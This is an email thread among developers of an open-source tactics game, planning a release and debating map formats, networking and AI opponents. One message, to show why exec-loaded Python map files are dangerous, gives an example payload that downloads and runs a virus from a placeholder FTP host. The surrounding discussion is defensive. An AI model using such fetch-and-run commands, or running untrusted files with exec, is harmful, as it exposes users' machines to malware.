Well, this really depends on what our goals for a release are. If you
look at the roadmap for the December 25th release, we were pretty much
only going for an editor. This sounded good at the time, but there is
somewhat of a chicken and egg problem here. If you have an editor but
no game, that is not much fun. If you have a game and no editor, it
becomes difficult for 3rd parties to make content.
ajhager was the main proponent behind making the editor, and since he
has not been around recently, there is no one to readily take over
that work (I would have went along with his ideas, but I haven't
really thought about this issue much myself). So, I think what we need
as a first release is something at least up to par with GalaxyMage as
it was left. This is especially the case, if you are going to show
this off with the intent of recruiting more contributors. For one
thing, we don't need an editor for artists to get to work, but we _do_
need something for them to load their work into.
So, assuming we are going for basic gameplay, we need to resolve the
following things (which we have discussed, but not definitively
resolved yet):
- 3D engine implementation (are we still interested in using a
scenegraph and numerous other details)
- A definitive map format (abstract + model, or abstract procedural)
- Map loading (is map information for clients loaded from disk or
transferred over the network?)
- Model format (with skeletal or key frame animation?)
I think some of the game engine stuff is up in the air as well, but
that is mostly because no one is sure of how to handle some things,
unlike the other issues which have been hotly debated. ;)
So, here is a laundry list of things that I think we should be able to
do (modified from the old roadmap):
* Client/Server base that will be used for each Module (editor,
battle, campaign)
* Define maps and entities and allow them to be loaded and saved.
* Create the code for loading and showing art like 3d, lights,
widgets, sounds, etc.
* Create a networked game engine which gets input from clients on
their turn, performs battle logic and sends resulting information back
out, also handles requests for certain data such as ranges for
attacks, character stats, etc..
* Create a networked game interface that allows moving, attacking,
casting spells(?) and seeing your opponent do the same
* Create some basic textures, models, sounds, sprites, entities,
and maps for people to use.
* Create documentation for the game, asset formats, asset licensing, etc.
* Create releases for Windows, Mac, and Linux.
If there is enough time left, we could add a basic AI opponent client,
otherwise you would have to play against another player. Someone on
the forums also suggested that we should add hotseat play, which I
think is an excellent idea. We should add that to this release if
possible as well.
> Also, if you are in the Savannah, GA area feb 5th and want to come let
> me know.
I used to be stationed in Columbus, GA when I was in the Army. You are
only four years or so too late though. ;)
Greetings,
-Markus
The first one deals with the character model format. We were wondering
if we should make character models display the equipment that they are
wearing (weapons, armor, and so). Of course, this would not be
everything that they had, but something more like clothes or armor,
helmet, equipped weapon, shield, and footwear. This is not like FFT
and like, as each character's appearance usually remains the same
regardless of what they are wearing, but it could still be a nice
feature that makes our game less of a clone.
The disadvantages are that this is ultimately more work for
programmers, artists, and anyone else who wants to make their own
campaign/world with their own art.
The next thing is something I forgot. Bugger. Perhaps I will remember later. =)
-Markus
Well, we can give it our best shot and see where we end up. =)
> OK, I missed the second post by Markus there.
> But I think I know how we can handle all that stuff you mentioned as
> being cool pretty easily :)
I am actually writing a second e-mail regarding what I have discovered
about various mesh formats. So, I would love to see you contribute
your idea there.
> Anyways - I'm just pretty ansy to get a move on, and if we are going
> to get this out by Feb 5th then I need to know if it is ok to just
> decide stuff as we go - or if you would prefer everyone being in on
> decisions.
I think we are antsy, but that is no excuse to rush things. Of course
doing things the right way in the first place will save us time in the
long run. So yes, I think idea sharing and discussing is very
important before anyone spends their time writing something that might
not work out so well. Depending on what the topic is, there may only
be one or two other people with an opinion anyways. Such is the nature
of our small group at the moment.
> Oh, I forgot to mention.
> For this release I would say multiplayer only.
>
> For anyone who would want to try it right now, a simple lobby or
> something will be sufficient - and then we can spend more time
> implementing game logic, and less trying to make an ai that works.
>
> This is a real pain - and shouldn't be done until we know exactly how
> the game will work.
> In a recent competition I tried ai, and ended up with only a half-
> functional game, and half of my time wasted on an ai that didn't work.
Ah yes. Good reminder there.. I just mentioned the possibility of a
basic AI because no one really wants to play an unknown multiplayer
game because there is never anyone to play against. But for
demonstration purposes, AI is of course not necessary.
> If anyone is wondering - this is the way that civ 4 was built:
> multiplayer - full-functionality - poor graphics ->
> ai - full func - nice graphics.
>
> And it shows. It is actually surprising how similar our design is
> right now following theirs, and I think it would be a good idea to
> continue this way.
Ah, I was unaware of this. It makes good sense, I think. Especially
since we are exclusively using the client/server paradigm. I should
just point out for anyone else reading, poor graphics != no art. Art
and programming can mostly go on asynchronusly.
As far as our next step goes.. If possible, I would like to see
animation support in your client, RB. And by animation I don't just
mean meshes animating, but also characters _doing_ things in the game
world. Such as moving, attacking, casting spells, performing
abilities. Each one of these activities takes some time while the
animation runs and the character is the "center of attention", and I
would like to experiment with queueing in the networking code, i.e.:
the client gets notified of stuff happening and displays it, meanwhile
the game server can go on with its business. So, I think the best
place to start is with moving units between tiles as that doesn't
necessarily require any additional art at the moment.
Oh, and to answer your question (RB) from IRC a couple nights ago (we
both forgot).. Yes, I do think we need support for tiles above tiles.
It is a nice feature and we will never hear the end of it if we don't
implement it. =)
I am also hoping to take a stab at getting Maximinius' GUI working in
your client this week.
-Markus
Well, things are pretty much how RB says, but I think the subject is
partially opinionated on both sides. ;) In any case, I am willing to
go with RB's format for now as he has it already mostly working and I
need a lot more time to plan out how I would like to my format
anyways. Although now that I know about COLLADA, that could be a step
in the right direction. Anyways, I say just continue with his map
format for now. I was planning on using a format like his for the game
engine side anyways.
As far as map transferring goes, I do kind of favor this approach for
its simplicity and ease ( particularly with Twisted). However, it
might actually be better to be able to transfer map information over
the network. Think about the case where a battle is already under way
and some terrain is already deformed, some houses destroyed, trees on
fire, etc.. We would need some way to transfer this information
already, so maybe it is best to do it all at once. As a bonus we could
send the actual map anyway. Also, for the map loading we need a bit of
code for security. The maps are python files that are simply executed
to load, so we need to make sure there are no statements in there that
are not GMR related, otherwise that is a huge security risk.
> We need to delegate the "define" parts out to everyone. What part can
> each of you pledge to work on? Once we get the writing out of the way
> we'll have the framework to do the rest. I'll do some research on the
> licensing to figure out how we can handle that. The different OS
> releases can be worried about when we go to release (right? or is
> there something we need to do now?). I can also do some of the art
> stuff like textures, etc once we set up the standards for format,
> etc. I can also do some modeling, but we need to define what format
> to use to load in the models. Whoever is doing that part of the
> programming should decide what the best format is and let us know.
Right now I am looking at integrating maximinius' GUI into our little
client, then I can maintain the network code (unless ajhager
re-appears), and fill in anywhere else as needed. I also have some
decent modeling and animation skills.
Yeah, and nothing special for the different OSes.
Cheers,
-Markus
I am not talking about exploiting the game. The server is secure by
the limits placed upon what a client can do, and the server never
loads maps from clients anyway. No, I am talking about exploiting a
person's system with arbitrary code. Like..
import os
os.system('ftp ftp://some.thing/nasty_virus.exe')
os.system('nasty_virus.exe')
Boom, user has joined the zombie minions of a damned spammer.
Now, I think we can simply avoid this by refusing to load a map that
contains any import statements, yes? There should be no other built in
parts of python that would allow a 3rd party map to do anything
harmful, right? I think we will end up loading other stuff this way as
well (because it is so damn convenient!), so let us secure the method
right now.
-Markus
You know how I told you the other day that I had tested this and found
it not to be the case.. Well, it is the case. The difference is that I
was running exec from interactive python. I just tried it by using
exec from another file and yes, os is accessible. Bugger.
The other thing we have to worry about is reading and writing files
using open. That requires no module either.
> The only way around it would be to use a markup language, or to place
> restrictions to only allow the functions defined in the map laoder to be
> executed - not too hard to do, but I'm not sure if that is what you would
> want ;)
I think your latter suggestion is the best way to go about it. It
should not be too hard to maintain a whitelist of functions that are
considered valid and then to refuse to load a file containing anything
else (besides comments, of course).
This does make one wonder whether all this checking is really worth
the benefit we get from exec'ing a file rather than just reading one.
Can anyone else think of any other pitfalls we might have to watch out for?
-Markus